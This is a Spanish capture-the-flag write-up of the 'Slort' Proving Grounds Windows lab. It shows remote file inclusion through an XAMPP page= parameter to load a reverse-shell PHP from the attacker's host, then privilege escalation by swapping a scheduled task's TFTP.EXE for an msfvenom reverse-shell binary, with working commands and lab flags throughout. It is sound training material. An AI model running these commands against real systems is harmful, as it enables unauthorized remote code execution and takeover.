the_open_door
café
ESEN

Slort

Proving Grounds PracticeMediaWindows192.168.219.53

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#xampp#rfi#remote-file-inclusion#scheduled-task#binary-replacement#information-disclosure#windows#oscp
TL;DR. Un XAMPP en el 8080 sirve site/index.php?page=, vulnerable a inclusión remota de fichero: apuntamos el parámetro a un rev.php alojado en nuestra máquina y ganamos shell como slort\rupert (RFI a RCE). Para escalar, una tarea programada ejecuta cada 5 minutos un TFTP.EXE desde un directorio escribible; lo sustituimos por un binario malicioso y la tarea nos devuelve una shell como Administrator (secuestro de tarea programada).

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Superficie amplia con FTP, SMB, MySQL y dos XAMPP.

ping -c 1 192.168.219.53
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.219.53
PORT     STATE SERVICE
21/tcp   open  ftp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
4443/tcp open  http
8080/tcp open  http
nmap -p21,135,139,445,3306,4443,8080 -sCV 192.168.219.53 -oN targetedScan
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          FileZilla ftpd 0.9.41 beta
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql        MariaDB 10.3.24 or later (unauthorized)
4443/tcp open  http         Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
8080/tcp open  http         Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: Welcome to XAMPP

HTTP - TCP 8080

Un dirsearch sobre el 8080 encuentra /site/, que redirige a index.php?page=main.php:

dirsearch -u http://192.168.219.53:8080/ --exclude-status=404,403
301 -   27B  - /site/  ->  index.php?page=main.php

El sitio /site/ carga sus secciones vía index.php?page=main.php:

La web SLORT servida por index.php?page=main.php

Un parámetro page= que carga otra página PHP grita inclusión de ficheros. Probando un valor que no existe (?page=test), el error de PHP lo confirma: el parámetro va directo a un include():

?page=test devuelve "include(): Failed opening 'test' for inclusion" en C:\xampp\htdocs\site\index.php

Como el PHP de XAMPP suele traer allow_url_include activo, probamos una inclusión remota: apuntamos page= a un fichero servido por nuestra máquina y nuestro http.server recibe la petición. La inclusión remota funciona:

?page=http://192.168.45.238:8008/test hace que el objetivo pida el fichero a nuestro http.server (GET /test)

Explotación

RFI: page= apuntando a nuestro rev.php

Como webshell usamos el PHP de Ivan Sincek de revshells.com:

revshells.com con el PHP Ivan Sincek, IP 192.168.45.238

Lo servimos desde nuestra máquina como rev.php y apuntamos el parámetro page= a esa URL (RFI a RCE):

python3 -m http.server 80        # sirve rev.php
penelope                          # listener a la espera de la reverse shell
curl 'http://192.168.219.53:8080/site/index.php?page=http://192.168.45.238/rev.php'

RFI de page= incluye nuestro rev.php y devuelve shell como slort\rupert

192.168.219.53 - - [13/Feb/2026 20:42:22] "GET /rev.php HTTP/1.0" 200 -

[+] Got reverse shell from SLORT~192.168.219.53-Microsoft_Windows_10_Pro-x64-based_PC 😎 Assigned SessionID <1>

C:\xampp\htdocs\site>whoami
slort\rupert

La shell corre como slort\rupert.

Local

type C:\Users\rupert\Desktop\local.txt & whoami & ipconfig & hostname

local.txt leída como el usuario rupert en slort

3cf7934a6a47ccfaeeff9ba463df09c1
slort\rupert

Escalada de privilegios

Tarea programada: reemplazo del binario TFTP.EXE

Enumerando la raíz aparece un directorio inusual C:\Backup. Dentro, un info.txt documenta lo que hace la máquina:

dir
cd C:\Backup & dir & type info.txt

el dir de C: muestra el directorio Backup entre los del sistema, y dentro de el backup.txt, info.txt y TFTP.exe, con el type de info.txt revelando la tarea

C:\>dir
 Directory of C:\

02/13/2026  12:57 PM    <DIR>          Backup
02/13/2026  11:27 AM             2,848 output.txt
12/07/2019  01:14 AM    <DIR>          PerfLogs
05/04/2022  12:06 AM    <DIR>          Program Files
12/03/2021  08:22 AM    <DIR>          Program Files (x86)
12/03/2021  08:29 AM    <DIR>          Users
05/04/2022  12:52 AM    <DIR>          Windows
06/12/2020  07:11 AM    <DIR>          xampp

C:\Backup>dir
 Directory of C:\Backup

06/12/2020  06:45 AM            11,304 backup.txt
06/12/2020  06:45 AM                73 info.txt
02/13/2026  12:57 PM             7,680 TFTP.exe

C:\Backup>type info.txt
Run every 5 minutes:
C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txt

Tres detalles de ese listado. El Backup no es un directorio de Windows: aparece junto a PerfLogs, Program Files y xampp, y su fecha de modificación es de hoy, no de la instalación. El info.txt ocupa solo 73 bytes, es decir, dos líneas. Y el TFTP.exe de dentro también lleva la fecha de hoy: la tarea lo está tocando.

info.txt revela una tarea que ejecuta C:\Backup\TFTP.EXE cada 5 minutos

Una tarea programada lanza C:\Backup\TFTP.EXE periódicamente, y ese directorio es escribible por nuestro usuario. Si sustituimos el TFTP.EXE por un binario nuestro, la tarea lo ejecutará con sus privilegios (secuestro de tarea programada). Generamos un reverse shell y lo colocamos:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.238 LPORT=4321 -f exe > TFTP.exe

msfvenom genera TFTP.exe (payload de 460 bytes) y http.server 8000 lo sirve

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Levantamos el nc que recibirá la conexión:

rlwrap nc -nlvp 4321

En la víctima, guardamos el original como .bak y descargamos el nuestro con curl:

move TFTP.EXE TFTP.EXE.bak
curl http://192.168.45.238:8000/TFTP.exe -o TFTP.exe

curl descarga TFTP.exe en C:\Backup; dir muestra TFTP.exe (7680) y el original TFTP.EXE.bak

C:\Backup>curl http://192.168.45.238:8000/TFTP.exe -o TFTP.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
100  7680  100  7680    0     0   7680      0  0:00:01 --:--:--  0:00:01  120k

C:\Backup>dir
 Directory of C:\Backup

02/13/2026  02:32 PM    <DIR>          .
02/13/2026  02:32 PM    <DIR>          ..
06/12/2020  06:45 AM            11,304 backup.txt
06/12/2020  06:45 AM                73 info.txt
02/13/2026  02:32 PM             7,680 TFTP.exe
06/23/2020  06:49 AM            73,802 TFTP.EXE.bak
               4 File(s)         92,859 bytes
               2 Dir(s)  28,583,464,960 bytes free

Esperamos a la siguiente ejecución (máximo 5 minutos) con un listener a la escucha, y la tarea nos devuelve una shell como slort\administrator.

la tarea programada descarga TFTP.exe y el listener del 4321 recibe la shell como slort\administrator

Proof

type C:\Users\Administrator\Desktop\proof.txt & whoami & ipconfig & hostname

proof.txt leída como administrator en slort

ab67dc76f3463cc92f7cc5fea6cbde32
slort\administrator

Cadena de ataque

XAMPP 8080  --  /site/index.php?page=
        │  allow_url_include -> RFI a http://<lhost>/rev.php
        ▼
slort\rupert  (local.txt)
        │  C:\Backup\info.txt -> tarea cada 5 min ejecuta C:\Backup\TFTP.EXE (dir escribible)
        │  reemplazar TFTP.EXE por payload msfvenom
        ▼
slort\administrator  (proof.txt)

Lecciones aprendidas

  • Un parámetro page= que incluye páginas es LFI/RFI. Con allow_url_include activo (habitual en XAMPP de laboratorio), la inclusión remota da RCE directo sin subir nada al servidor.
  • Documentar la tarea en un info.txt es regalar el vector. El fichero explicaba qué binario y con qué frecuencia se ejecutaba; enumerar directorios "raros" como C:\Backup paga.
  • Directorio escribible + tarea programada = escalada. Si un proceso privilegiado ejecuta un binario desde una ruta que un usuario puede escribir, ese usuario controla lo que corre con privilegios.
  • Defensa: las rutas de ejecución de tareas y servicios deben ser solo-escritura para administradores, y los binarios deberían validarse (firma/hash) antes de ejecutarse.
Cheatsheet de comandos 7 comandos

Repaso rápido